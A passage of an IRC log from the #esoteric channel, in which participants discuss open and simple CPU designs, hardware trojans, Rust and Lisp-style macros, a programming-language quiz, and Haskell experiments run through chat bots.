any one person.. even if they were simple enough to, the information is guarded too secretly. < 1395804602 196841 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :corrolary: modern systems cannot be properly secured. < 1395804605 986 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :newsham: Yes, that is part of the problem, too. < 1395804650 520806 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :tertu3: There are old versions of x86 and ARM, which at least are better than the new one. < 1395804718 781611 :tertu3!~tertu@174-20-41-3.mpls.qwest.net PRIVMSG #esoteric :i mean < 1395804721 401158 :tertu3!~tertu@174-20-41-3.mpls.qwest.net PRIVMSG #esoteric :the 286 perhaps < 1395804738 670916 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :also softcores, opencores, etc... < 1395804748 478366 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :happy hardcores < 1395804766 125143 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :and there are some recent systems that try to be both simple and open/documented, such as rpi (broadcom just recently opened up more of the undocumented bits) < 1395804823 358794 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :if you didnt want to fab yoru own silicon, thats prob your best best right now... start with an rpi. < 1395804831 85763 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :still hella slow compared to state of the art. < 1395804847 838970 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :but faster than fpgas running softcores < 1395804965 400895 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :How do you get documentation of rpi? < 1395804986 587547 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :It's possible to inject trojans into silicon during fabrication < 1395805012 842970 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :start here i guess? http://www.raspberrypi.org/technical-help-and-resource-documents < 1395805017 90747 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Jafet: Yes, that too < 1395805024 609503 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :jafet: yup.. and even hard-to-detect ones :( < 1395805046 371375 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :your mind is the scene of the crime < 1395805067 708773 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :http://people.umass.edu/gbecker/BeckerChes13.pdf < 1395805083 235117 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :"stealthy dopant-level hardware trojans" < 1395805102 781075 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Jafet: It too is a problem; hopefully it can be tested sufficiently, in addition to having vendor non-locked components; no vendorlock is one important rule to help to avoid such trojans. < 1395805112 559350 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i emailed that to my ee prof and didn't get a reply. le sigh < 1395805117 742240 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Furthermore, don't have any CPUID or anything like that. < 1395805161 196135 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :but there are some interesting papers on detecting hardware trojans, too < 1395805163 752363 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395805208 23550 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :newsham: Yes, you need that too. < 1395805383 251219 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Due to this mess everyone has made, I would need to design a completely new computer system. This time, using CF cards, as well as a new instruction set and CPU design which is very simple, eliminating USB and HDMI entirely from the design. And then also the BIOS, graphics, audio, etc everything else too. < 1395805433 741396 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :However, it would then be difficult to make C programs work on it, unless GCC or LLVM or whatever can be made to target it easily enough. This can be difficult to do effectively. < 1395805509 463749 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :People who make LLVM refuse to add support for ARM2 and MMIX. < 1395805511 988408 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :why invent your own? you could start with http://en.wikipedia.org/wiki/OpenRISC or some other open soft core < 1395805521 472834 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :there are already compiler targets for openrisc < 1395805535 349978 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :even linux < 1395805718 301595 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :newsham: I don't want automatic cache and branch prediction and pipeline stalls and all of that stuff. There are also a few other features I want to customize: To make hardwired memory protected pages rather than being programmable, and to include BCD arithmetic instructions. < 1395805762 95529 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :you could always start with an existing arch and take out what you dont want, then just patch up the linux/compiler stuff to match < 1395805768 643064 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :should be easier than clean slate < 1395805792 61295 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, I did, in fact, think of that possibility < 1395805848 88559 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have no need to run Linux on the system, though, and compilers such as GCC would take too long to compile. < 1395805950 870945 :Shubshub!~IceChat77@222.212.252.27.dyn.cust.vf.net.nz QUIT :Quit: A fine is a tax for doing wrong. A tax is a fine for doing well < 1395806009 391360 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The original 6502 was a good design, although not powerful enough, and not 32-bits, and lacking some things. < 1395806079 183345 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :isn't it good to have more than 3 registers < 1395806106 53333 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :i think the ARM instruction set (before they went 64-bit) is very elegant < 1395806106 341070 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :kmc: Yes, certainly. < 1395806140 368454 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :that is, the normal arm32 stuff, not the thumb mode stuff or many of the crazy extensions they also support < 1395806142 301756 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :newsham: The first version of the ARM instruction set is very elegant. < 1395806145 614087 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yes < 1395806168 721493 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it has a number of clever features to mitigate the downsides of first generation RISC < 1395806203 397404 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :i dont include having a multiplier or divider as a crazy extension, fwiw. :) < 1395806230 417588 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Dude, if your CPU doesn't have hardware support for java, it's going nowhere < 1395806233 571864 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Everyone knows this < 1395806252 846419 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :back in the days when every toaster was destined to run java, that might have been true :) < 1395806278 888702 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :but now we're past that, flew by dot-net and active-*, and are well into the world of cloud < 1395806313 310456 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Hardware accelerated JSON decoding < 1395806317 54904 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :tell me how the arm extensions make a better cloud world!@#? < 1395806325 301441 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :hardware accelerated json indeed! < 1395806338 881531 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :nosql as an instruction < 1395806359 284365 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :and.... trustzone :) < 1395806380 769764 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :because your OS inst secure, so we made another, and right now nothing runs there, so its totally sekure! < 1395806411 71031 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :You think it's funny but the logic is sound < 1395806477 320716 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :its like most startup plans. it works great until it is successful... then it fails miserably. < 1395806488 98271 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :but, thats plenty of time to monetize and cash out... < 1395806504 112971 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :s/startup plans/good startup plans/ < 1395807054 971356 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :One idea I have involves implementing a standardized VLIW instruction set for microcodes; the microcode RAM can also be used as a cache, but the cache can only be explicitly accessed, and is not implicitly accessed by instructions that access external memory. < 1395807081 150787 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Same with out of order execution and so on; it won't do any of that stuff at all. < 1395807126 571807 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The compiler optimizations should try to determine what to put in the cache and what order of instructions and predict branching and all of that stuff, not the CPU. < 1395807194 222235 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :hardware jit, imo < 1395807332 229678 :ion!ion@heh.fi PRIVMSG #esoteric :Yes, just in time hardware delivery < 1395807600 91093 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I should have a separate microcode RAM for supervisor mode and for user mode; those two modes do not share cache or microcodes. There would also be a microcode ROM which is fixed and that is used both in supervisor mode and in user mode. < 1395807724 542393 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :How did people figure out that Student == Gosset? < 1395807750 1661 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Sgeo: I do not understand how you mean? < 1395807786 273614 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1395807860 613634 :augur_!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Read error: Connection reset by peer < 1395807911 402989 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Guy named Gosset published under the name "Student" < 1395808097 72165 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :as in student's t? didn't he say so himself at some point? < 1395808150 879495 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :or maybe fisher figured it out. mathematicians are used to that kind of shit, see < 1395808188 901980 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :"For many years, an air of romanticism surrounded the appearance of "Student's" papers, and only a few individuals knew his real identity, even for some time after his death." < 1395808194 580908 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.swlearning.com/quant/kohler/stat/biographical_sketches/bio12.1.html < 1395808225 801852 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :guys, what's the command to quit irc? < 1395808231 212023 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :/quit < 1395808277 341545 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(I may be assuming you merely tried to get people to quit) < 1395808319 610749 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :+++ATH0 < 1395808362 180269 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :an air of romanticism, lol < 1395808369 850659 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :in a fucking stats journal < 1395808407 690565 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i guess if you're a stats journal you take it where you can get it < 1395809072 207588 :password2!~password@197.78.141.186 JOIN :#esoteric < 1395810209 612861 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :today I wrote a procedural macro in Rust for the first time < 1395810220 181145 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it expands to an invocation of another procedural macro written by someone else < 1395810235 434654 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1395810236 841420 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395810571 422783 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395810769 376207 :password2!~password@197.78.141.186 QUIT :Ping timeout: 265 seconds < 1395811207 641493 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :When were procedural macros introduced? < 1395811209 621336 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION oohs < 1395811257 76811 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :coppro: /sign virgo < 1395811264 311832 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION vaguely recalls seeing actual hygiene in some language that had macros that he wasn't expecting, mostly because was stereotyping non-Lisps as having limited understanding < 1395811275 11783 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Julia, I think? < 1395811635 818116 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :let mut odds = nums.iter().map(|&x| x * 2 - 1); < 1395811640 923089 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I thought mut was on its way out, or am I confused, or is that not in 0.9? < 1395811979 861633 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :in Rust? I don't think there are any plans to remove it < 1395812026 303087 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i mean the distinction between & and &mut is fundamental to the memory safety story < 1395812066 211273 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :you could make all lets allow mut borrows but I haven't heard of anyone wanting that < 1395812066 451040 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :> map (\x -> x * 2 - 1) [0..] < 1395812067 602594 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : [-1,1,3,5,7,9,11,13,15,17,19,21,23,25,27,29,31,33,35,37,39,41,43,45,47,49,51... < 1395812067 800063 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric :No such variable \ < 1395812076 780590 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :nums == [1..] ? < 1395812303 443745 :password2!~password@197.78.130.32 JOIN :#esoteric < 1395812348 401090 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :http://helloworldquiz.com/#/game < 1395812349 831053 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :oh i forgot that the term "anaphoric macro" exists < 1395812353 994426 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that's a good one < 1395812394 221576 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Sgeo: sweet.js implements hygienic macros for JavaScript http://sweetjs.org/ < 1395812398 211216 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :What is a anaphoric macro? < 1395812431 33482 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Rust macros (the non-procedural ones) are partially hygienic; I don't remember the details though < 1395812471 651858 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :zzo38: I can give an example: an aif macro that acts like if, but exposes a name 'it' in the body < 1395812480 63675 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :It's deliberately non-hygienic < 1395812561 902235 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :the one that starts with "program ObjectPascalExample;" is a trick :P < 1395812579 671926 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It can be useful, that macros can be hygienic and non-hygienic, actually < 1395812591 711325 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Or partially hygienic macros < 1395812600 387759 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :or hygenic partial evalutation < 1395812643 610964 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :(if anyone tries that, tell me what you got) < 1395812647 722638 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :my score is 1900 < 1395812656 495612 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i got 1800 :( < 1395812656 698917 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :or hygeine whiel doing macrophitography < 1395812667 387340 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :and that was my third attempt < 1395812703 491205 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Score of what? < 1395812728 11020 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :this thingie i linked: http://helloworldquiz.com/#/game < 1395812733 615559 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :hello world quiz dot com slash octothorpe slash game < 1395812782 892236 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :octothorpe++ < 1395812799 602099 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :kmc: I guessed the trick only because you said it < 1395812847 260911 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :.... I got wrong one that... I should not have gotten wrong < 1395812866 237675 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :How does it start? < 1395812874 571137 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :Sgeo: which one? < 1395812880 226872 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Haskell vs. Idris < 1395812885 420857 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I wasn't paying much attention < 1395812970 664649 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's a random selection / order of languages < 1395812980 873647 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :lol i died on matlab, the language i actually use < 1395812990 485333 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :(1300, big whoop) < 1395812997 383202 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :though the choices for a single question remain grouped together, I think < 1395813010 48323 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :the problem is, holy shit why would i use matlab oo if i could avoid it < 1395813014 592372 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :(why would i use matlab if i could avoid it) < 1395813053 531869 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :2800 < 1395813061 301845 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :nice < 1395813141 419564 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i got idris vs haskell right < 1395813145 809808 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I managed to get at least one right that I shouldn't have gotten right < 1395813156 18165 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(As in, I had absolutely no idea) < 1395813168 624574 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Don't remember which < 1395813171 306846 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i have never actually seen idris but luckily i was given the idris example and it looked suspicious. < 1395813180 754883 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :3000. that's enough of that. < 1395813197 725697 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :you can tell because i can now distinguish omgrofl from lolcode. < 1395813253 519019 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :the idris one looks exactly like haskell except for importing a module, o rsomethin < 1395813324 821441 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :this is not so good if you play it multiple times, i'm at 5100 on my fourth attempt < 1395813353 541664 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Bike: look at the type of main < 1395813356 672309 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :in the idris example, there was something like "main: ..." < 1395813360 331264 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :as the type i guess < 1395813372 940027 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :: vs :: < 1395813402 135673 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :see, i don't give that much of a shit < 1395813407 381224 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :is that the only difference? < 1395813417 943185 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :there's also the import. < 1395813433 41809 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :ok < 1395813437 851792 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :My score is ! < 1395813443 304351 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :Whoa < 1395813473 597975 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i'm just going to keep programming in the langauges i know best. matlab, snobol, and TOPS-20 macroassembler. < 1395813511 501623 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Do Erlangers hate Elixir/ < 1395813526 764813 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :if the pope was catholic would she shit in the woods? < 1395813626 982126 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Bike: Which pope do you mean, and which woods? < 1395813635 672215 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :any < 1395813636 423026 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :At least one person hates the 'mutable state' of being able to assign twice to the same name < 1395813640 822090 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :woods < 1395813655 231665 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> runIdentity $ do { let a = 5; a = 6; return a } < 1395813655 418458 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric :No such variable runIdentity < 1395813656 112038 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:47: parse error on input `}' < 1395813657 677309 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :zzo38: the generalized pope < 1395813668 741715 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :O, you mean Don Woods. < 1395813671 824634 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric ::t runIdentityT < 1395813672 521743 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Not in scope: `runIdentityT' < 1395813672 708427 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Perhaps you meant `runIdentity' (imported from Control.Monad.Identity) < 1395813677 202911 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric ::( < 1395813709 481937 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I thought you meant the other kind of woods. < 1395813721 142941 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :> (do { let a = 5; let a = 6; [a]) < 1395813721 329904 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:32: error: expected: "$", < 1395813721 330098 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric : "$>", "&&", "*", "+", "++", "-", < 1395813721 330195 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric : "->", ".", "/", "/=", "::", ";", < 1395813721 330292 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric : "<", "<$", "<$>", "<*>", "<+>", < 1395813721 330386 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric : "<->", "<<", "<=", "<|>", "=",14↵… < 1395813721 993143 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :> runState (do { let a = 5; a = 6; return a }) 10 < 1395813722 179765 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:32: parse error on input `)' < 1395813722 941673 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:43: parse error on input `}' < 1395813723 222145 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric :No such variable runState < 1395813736 31847 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :@run (do { let a = 5; let a = 6; [a]}) < 1395813736 861882 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:32: parse error on input `}' < 1395813744 631868 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :> runIdentity (do { let a = 5; a = 6; return a; }) < 1395813744 818387 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric :No such variable runIdentity < 1395813745 572681 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:45: parse error on input `;' < 1395813748 701708 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :@run (do { let a = 5; let a = 6; [a] } ) < 1395813749 335521 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :life is hard < 1395813749 522464 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : :1:33: parse error on input `}' < 1395813765 892746 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :? < 1395813766 718167 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :@run Control.Monad.Identity.runIdentity $ do { a <- return 5; a <- return 6; return a } < 1395813767 302584 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : 6 < 1395813771 205250 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: leaving < 1395813911 284521 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Can you make something like that kind of quiz on Internet Quiz Engine? < 1395813964 215231 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com QUIT : < 1395814013 373451 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395814279 421251 :tertu3!~tertu@174-20-41-3.mpls.qwest.net QUIT :Ping timeout: 264 seconds < 1395814999 446108 :password2!~password@197.78.130.32 QUIT :Ping timeout: 264 seconds < 1395815264 781377 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@run do let { a = 5 }; let { a = 6 }; [a] < 1395815265 672835 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : [6] < 1395815322 961756 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :your problem was ending the lets, not the do < 1395815407 502801 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo: ^ < 1395816327 194963 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Quit: WeeChat 0.4.3 < 1395817050 331894 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395817231 344904 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395817232 544070 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395819725 211463 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :oh, this was a new one, http://fimpp.wikia.com/wiki/FiM%2B%2B < 1395819822 31739 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i thought it was shakespeare < 1395819835 892188 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1395819858 972152 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :2012 doesn't count as new in Internet terms, does it? < 1395819874 891810 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :it was new as in I hadn't seen it before < 1395819937 728356 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :olsner? more like oldsner. < 1395819937 728537 :trout!root@freebsd/developer/variable QUIT :Ping timeout: 240 seconds < 1395819965 302002 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have idea: A programming language that if it typechecks, it results in a provably correct chess puzzle (so, the types are a logic of chess 